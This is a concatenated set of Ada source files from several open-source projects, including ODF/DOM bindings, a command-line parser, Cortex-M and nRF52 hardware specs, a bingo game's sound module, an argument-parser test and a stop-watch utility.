end Create;
--------------------
-- Get_Local_Name --
--------------------
overriding function Get_Local_Name
(Self : not null access constant Style_Wrap_Attribute_Node)
return League.Strings.Universal_String
is
pragma Unreferenced (Self);
begin
return Matreshka.ODF_String_Constants.Wrap_Attribute;
end Get_Local_Name;
begin
Matreshka.DOM_Documents.Register_Attribute
(Matreshka.ODF_String_Constants.Style_URI,
Matreshka.ODF_String_Constants.Wrap_Attribute,
Style_Wrap_Attribute_Node'Tag);
end Matreshka.ODF_Style.Wrap_Attributes;
|
jhumphry/parse_args | Ada | 3,386 | ads | -- parse_args-concrete.ads
-- A simple command line option parser
-- Copyright (c) 2014 - 2015, James Humphry
--
-- Permission to use, copy, modify, and/or distribute this software for any
-- purpose with or without fee is hereby granted, provided that the above
-- copyright notice and this permission notice appear in all copies.
--
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
-- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
-- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-- OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-- PERFORMANCE OF THIS SOFTWARE.
-- This private child package contains some concrete implementations of
-- different options. It is not expected that package users will create these
-- types directly. Instead the factory functions in the parent package are used,
-- as these ensure that the options will be indexed and referenced correctly.
pragma Profile(No_Implementation_Extensions);
private package Parse_Args.Concrete is
-- Concrete options are not exposed to ensure that any options are not added
-- to Argument_Parser inconsistently.
type Option_With_Argument is abstract new Option with null record;
procedure Set_Option(O : in out Option_With_Argument; A : in out Argument_Parser'Class);
type Concrete_Boolean_Option is new Option and Boolean_Option with record
Value : Boolean := False;
Default : Boolean := False;
end record;
procedure Set_Option(O : in out Concrete_Boolean_Option; A : in out Argument_Parser'Class);
function Image(O : in Concrete_Boolean_Option) return String is (Boolean'Image(O.Value));
function Value(O : in Concrete_Boolean_Option) return Boolean is (O.Value);
type Concrete_Integer_Option is new Option_With_Argument and Integer_Option with record
Value : Integer := 0;
Default : Integer := 0;
Min : Integer := Integer'First;
Max : Integer := Integer'Last;
end record;
procedure Set_Option_Argument(O : in out Concrete_Integer_Option;
Arg : in String;
A : in out Argument_Parser'Class);
function Image(O : in Concrete_Integer_Option) return String is (Integer'Image(O.Value));
function Value(O : in Concrete_Integer_Option) return Integer is (O.Value);
type Repeated_Option is new Concrete_Integer_Option with null record;
procedure Set_Option(O : in out Repeated_Option; A : in out Argument_Parser'Class);
type Concrete_String_Option is new Option_With_Argument and String_Option with record
Value : Unbounded_String := Null_Unbounded_String;
Default : Unbounded_String := Null_Unbounded_String;
end record;
procedure Set_Option_Argument(O : in out Concrete_String_Option;
Arg : in String;
A : in out Argument_Parser'Class);
function Value(O : in Concrete_String_Option) return String is (To_String(O.Value));
function Image(O : in Concrete_String_Option) return String renames Value;
overriding procedure Finalize(Object : in out Concrete_String_Option);
end Parse_Args.Concrete;
|
AdaCore/Ada_Drivers_Library | Ada | 5,991 | ads | -- This spec has been automatically generated from cm4.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
-- Data Watchpoint Trace
package Cortex_M_SVD.DWT is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype CTRL_POSTPRESET_Field is HAL.UInt4;
subtype CTRL_POSTINIT_Field is HAL.UInt4;
subtype CTRL_SYNCTAP_Field is HAL.UInt2;
subtype CTRL_Reserved_13_15_Field is HAL.UInt3;
subtype CTRL_NUMCOMP_Field is HAL.UInt4;
-- Control Register
type CTRL_Register is record
-- enable cycle counter
CYCCNTENA : Boolean := False;
-- ???
POSTPRESET : CTRL_POSTPRESET_Field := 16#0#;
-- ???
POSTINIT : CTRL_POSTINIT_Field := 16#0#;
-- ???
CYCTAP : Boolean := False;
-- ???
SYNCTAP : CTRL_SYNCTAP_Field := 16#0#;
-- enable POSTCNT as timer for PC sample packets
PCSAMPLENA : Boolean := False;
-- Reserved bits 13..15
Reserved_13_15 : CTRL_Reserved_13_15_Field := 16#0#;
-- enable interrupt event tracing
EXCTRCENA : Boolean := False;
-- enable CPI count event
CPIEVTENA : Boolean := False;
-- enable interrupt overhead event
EXCEVTENA : Boolean := False;
-- enable Sleep count event
SLEEPEVTENA : Boolean := False;
-- enable Load Store Unit (LSU) count event
LSUEVTENA : Boolean := False;
-- enable Folded instruction count event
FOLDEVTENA : Boolean := False;
-- enable Cycle count event
CYCEVTENA : Boolean := False;
-- Read-only. Reserved bit 23
Reserved_23 : Boolean := False;
-- No profiling counters
NOPRFCNT : Boolean := False;
-- No cycle counter
NOCYCCNT : Boolean := False;
-- No external match signals
NOEXTTRIG : Boolean := False;
-- No trace sampling and exception tracing
NOTRCPKT : Boolean := False;
-- Number of comparators
NUMCOMP : CTRL_NUMCOMP_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CTRL_Register use record
CYCCNTENA at 0 range 0 .. 0;
POSTPRESET at 0 range 1 .. 4;
POSTINIT at 0 range 5 .. 8;
CYCTAP at 0 range 9 .. 9;
SYNCTAP at 0 range 10 .. 11;
PCSAMPLENA at 0 range 12 .. 12;
Reserved_13_15 at 0 range 13 .. 15;
EXCTRCENA at 0 range 16 .. 16;
CPIEVTENA at 0 range 17 .. 17;
EXCEVTENA at 0 range 18 .. 18;
SLEEPEVTENA at 0 range 19 .. 19;
LSUEVTENA at 0 range 20 .. 20;
FOLDEVTENA at 0 range 21 .. 21;
CYCEVTENA at 0 range 22 .. 22;
Reserved_23 at 0 range 23 .. 23;
NOPRFCNT at 0 range 24 .. 24;
NOCYCCNT at 0 range 25 .. 25;
NOEXTTRIG at 0 range 26 .. 26;
NOTRCPKT at 0 range 27 .. 27;
NUMCOMP at 0 range 28 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Data Watchpoint Trace
type DWT_Peripheral is record
-- Control Register
CTRL : aliased CTRL_Register;
-- Cycle Count Register
CYCCNT : aliased HAL.UInt32;
-- CPI Count Register
CPICNT : aliased HAL.UInt32;
-- Exception Overhead Count Register
EXCCNT : aliased HAL.UInt32;
-- Sleep Count Register
SLEEPCNT : aliased HAL.UInt32;
-- LSU Count Register
LSUCNT : aliased HAL.UInt32;
-- Folded-instruction Count Register
FOLDCNT : aliased HAL.UInt32;
-- Program Counter Sample Register
PCSR : aliased HAL.UInt32;
-- Comparator Register 0
COMP0 : aliased HAL.UInt32;
-- Mask Register 0
MASK0 : aliased HAL.UInt32;
-- Function Register 0
FUNCTION0 : aliased HAL.UInt32;
-- Reserved 0
RESERVED0 : aliased HAL.UInt32;
-- Comparator Register 1
COMP1 : aliased HAL.UInt32;
-- Mask Register 1
MASK1 : aliased HAL.UInt32;
-- Function Register 1
FUNCTION1 : aliased HAL.UInt32;
-- Reserved 1
RESERVED1 : aliased HAL.UInt32;
-- Comparator Register 2
COMP2 : aliased HAL.UInt32;
-- Mask Register 2
MASK2 : aliased HAL.UInt32;
-- Function Register 2
FUNCTION2 : aliased HAL.UInt32;
-- Reserved 2
RESERVED2 : aliased HAL.UInt32;
-- Comparator Register 3
COMP3 : aliased HAL.UInt32;
-- Mask Register 3
MASK3 : aliased HAL.UInt32;
-- Function Register 3
FUNCTION3 : aliased HAL.UInt32;
end record
with Volatile;
for DWT_Peripheral use record
CTRL at 16#0# range 0 .. 31;
CYCCNT at 16#4# range 0 .. 31;
CPICNT at 16#8# range 0 .. 31;
EXCCNT at 16#C# range 0 .. 31;
SLEEPCNT at 16#10# range 0 .. 31;
LSUCNT at 16#14# range 0 .. 31;
FOLDCNT at 16#18# range 0 .. 31;
PCSR at 16#1C# range 0 .. 31;
COMP0 at 16#20# range 0 .. 31;
MASK0 at 16#24# range 0 .. 31;
FUNCTION0 at 16#28# range 0 .. 31;
RESERVED0 at 16#2C# range 0 .. 31;
COMP1 at 16#30# range 0 .. 31;
MASK1 at 16#34# range 0 .. 31;
FUNCTION1 at 16#38# range 0 .. 31;
RESERVED1 at 16#3C# range 0 .. 31;
COMP2 at 16#40# range 0 .. 31;
MASK2 at 16#44# range 0 .. 31;
FUNCTION2 at 16#48# range 0 .. 31;
RESERVED2 at 16#4C# range 0 .. 31;
COMP3 at 16#50# range 0 .. 31;
MASK3 at 16#54# range 0 .. 31;
FUNCTION3 at 16#58# range 0 .. 31;
end record;
-- Data Watchpoint Trace
DWT_Periph : aliased DWT_Peripheral
with Import, Address => DWT_Base;
end Cortex_M_SVD.DWT;
|
zhmu/ananas | Ada | 244 | ads | package Type_Conv2 is
type Root is abstract tagged limited null record;
type Der_I is new Root with record
X : Integer;
end record;
function Wrap (X : Integer) return Root'Class;
procedure Proc_Static;
end Type_Conv2;
|
AdaCore/Ada_Drivers_Library | Ada | 4,054 | ads | ------------------------------------------------------------------------------
-- --
-- Copyright (C) 2016-2020, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with HAL; use HAL;
with HAL.Time;
package NRF52_DK.Time is
subtype Time_Ms is UInt64;
function Clock return Time_Ms;
procedure Delay_Ms (Milliseconds : UInt64);
procedure Sleep (Milliseconds : UInt64) renames Delay_Ms;
function Tick_Period return Time_Ms;
type Tick_Callback is access procedure;
function Tick_Subscriber (Callback : not null Tick_Callback) return Boolean;
-- Return True if callback is already a tick event subscriber
function Tick_Subscribe (Callback : not null Tick_Callback) return Boolean
with Pre => not Tick_Subscriber (Callback),
Post => (if Tick_Subscribe'Result then Tick_Subscriber (Callback));
-- Subscribe a callback to the tick event. The function return True on
-- success, False if there's no more room for subscribers.
function Tick_Unsubscribe (Callback : not null Tick_Callback) return Boolean
with Pre => Tick_Subscriber (Callback),
Post => (if Tick_Unsubscribe'Result then not Tick_Subscriber (Callback));
-- Unsubscribe a callback to the tick event. The function return True on
-- success, False if the callback was not a subscriber.
function HAL_Delay return not null HAL.Time.Any_Delays;
private
type MB_Delays is new HAL.Time.Delays with null record;
overriding
procedure Delay_Microseconds (This : in out MB_Delays;
Us : Integer);
overriding
procedure Delay_Milliseconds (This : in out MB_Delays;
Ms : Integer);
overriding
procedure Delay_Seconds (This : in out MB_Delays;
S : Integer);
end NRF52_DK.Time;
|
mgrojo/bingada | Ada | 2,422 | adb | --*****************************************************************************
--*
--* PROJECT: BingAda
--*
--* FILE: q_sound.asfml.adb
--*
--* AUTHOR: Manuel <mgrojo at github>
--*
--*****************************************************************************
-- External sound library
--
with Sf.Audio.Music;
with Ada.Directories;
with Ada.Strings.Fixed;
with Gtkada.Intl;
with Q_Bingo;
package body Q_Sound is
use type Sf.Audio.sfMusic_Ptr;
type T_Sound_Array is array (Q_Bingo.T_Number) of Sf.Audio.sfMusic_Ptr;
V_Sounds : T_Sound_Array;
--==================================================================
function F_Filename (V_Number : Positive) return String is
C_Number_Image : constant String := Ada.Strings.Fixed.Trim
(V_Number'Image, Ada.Strings.Left);
C_Path : constant String := "media/";
C_Extension : constant String := ".ogg";
C_Lang_Code_Last : constant := 2;
C_Locale : constant String := Gtkada.Intl.Getlocale;
C_Default_Lang : constant String := "en";
V_Lang : String (1 .. C_Lang_Code_Last) := C_Default_Lang;
begin
if C_Locale'Length >= C_Lang_Code_Last then
V_Lang := C_Locale (C_Locale'First ..
C_Locale'First + C_Lang_Code_Last - 1);
end if;
if not Ada.Directories.Exists
(C_Path & V_Lang & '/' & C_Number_Image & C_Extension) then
V_Lang := C_Default_Lang;
end if;
return C_Path & V_Lang & '/' & C_Number_Image & C_Extension;
end F_Filename;
--==================================================================
procedure P_Initialize is
begin
for V_Number in V_Sounds'Range loop
V_Sounds (V_Number) := Sf.Audio.Music.createFromFile
(F_Filename (V_Number));
end loop;
end P_Initialize;
--==================================================================
procedure P_Play_Number (V_Number : Positive) is
begin
-- Stop and rewind (if already played)
Sf.Audio.Music.stop (V_Sounds (V_number));
Sf.Audio.Music.play (V_Sounds (V_number));
end P_Play_Number;
--==================================================================
procedure P_Clean_Up is
begin
for V_Sound of V_Sounds loop
if V_Sound /= null then
Sf.Audio.Music.destroy (V_Sound);
end if;
end loop;
end P_Clean_Up;
end Q_Sound;
|
darkestkhan/cbap | Ada | 2,442 | adb | pragma License (GPL);
------------------------------------------------------------------------------
-- EMAIL: <[email protected]> --
-- License: GNU GPLv3 or any later as published by Free Software Foundation --
-- (see COPYING file) --
-- --
-- Copyright © 2015 darkestkhan --
------------------------------------------------------------------------------
-- This Program is Free Software: You can redistribute it and/or modify --
-- it under the terms of The GNU General Public License as published by --
-- the Free Software Foundation, either version 3 of the license, or --
-- (at Your option) any later version. --
-- --
-- This Program is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS for A PARTICULAR PURPOSE. See the --
-- GNU General Public License for more details. --
-- --
-- You should have received a copy of the GNU General Public License --
-- along with this program. If not, see <http://www.gnu.org/licenses/>. --
------------------------------------------------------------------------------
with Ada.Command_Line;
with CBAP;
procedure CBAP_Callback_Trigger is
---------------------------------------------------------------------------
Trigger_Count : Natural := 0;
---------------------------------------------------------------------------
procedure Help (Arg : in String)
is
pragma Unreferenced (Arg);
begin
Trigger_Count := Trigger_Count + 1;
end Help;
---------------------------------------------------------------------------
begin
CBAP.Register (Help'Unrestricted_Access, "help");
CBAP.Register (Help'Unrestricted_Access, "count", Case_Sensitive => False);
CBAP.Process_Arguments;
if Trigger_Count /= 9 then
Ada.Command_Line.Set_Exit_Status (Ada.Command_Line.Failure);
else
Ada.Command_Line.Set_Exit_Status (Ada.Command_Line.Success);
end if;
end CBAP_Callback_Trigger;
|
AdaCore/spat | Ada | 2,423 | adb | ------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. ([email protected])
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
package body SPAT.Stop_Watch is
use type Ada.Real_Time.Time;
---------------------------------------------------------------------------
-- Image
---------------------------------------------------------------------------
function Image (TS : in Ada.Real_Time.Time_Span) return String is
(Image (Value => Ada.Real_Time.To_Duration (TS => TS)));
---------------------------------------------------------------------------
-- Create
---------------------------------------------------------------------------
function Create return T is
begin
return Result : T do
Result.Reset;
end return;
end Create;
---------------------------------------------------------------------------
-- Elapsed
---------------------------------------------------------------------------
function Elapsed (This : in T) return String is
(Image (TS => Ada.Real_Time.Clock - This.Lap_Time));
---------------------------------------------------------------------------
-- Elapsed_Total
---------------------------------------------------------------------------
function Elapsed_Total (This : in T) return String is
(Image (TS => Ada.Real_Time.Clock - This.Start_Time));
---------------------------------------------------------------------------
-- Reset
---------------------------------------------------------------------------
procedure Reset (This : in out T) is
Now : constant Ada.Real_Time.Time := Ada.Real_Time.Clock;
begin
This.Start_Time := Now;
This.Lap_Time := Now;
end Reset;
---------------------------------------------------------------------------
-- Start
--
-- Starts a new lap measurement.
---------------------------------------------------------------------------
procedure Start (This : in out T) is
begin
This.Lap_Time := Ada.Real_Time.Clock;
end Start;
end SPAT.Stop_Watch;
|
reznikmm/matreshka | Ada | 3,913 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2013, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Matreshka.ODF_Elements.Table.Covered_Table_Cell;
package ODF.DOM.Elements.Table.Covered_Table_Cell.Internals is
function Create
(Node : Matreshka.ODF_Elements.Table.Covered_Table_Cell.Table_Covered_Table_Cell_Access)
return ODF.DOM.Elements.Table.Covered_Table_Cell.ODF_Table_Covered_Table_Cell;
function Wrap
(Node : Matreshka.ODF_Elements.Table.Covered_Table_Cell.Table_Covered_Table_Cell_Access)
return ODF.DOM.Elements.Table.Covered_Table_Cell.ODF_Table_Covered_Table_Cell;
end ODF.DOM.Elements.Table.Covered_Table_Cell.Internals;
|
reznikmm/matreshka | Ada | 3,627 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
with AMF.Elements.Generic_Hash;
function AMF.Utp.Stop_Timer_Actions.Hash is
new AMF.Elements.Generic_Hash (Utp_Stop_Timer_Action, Utp_Stop_Timer_Action_Access);
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.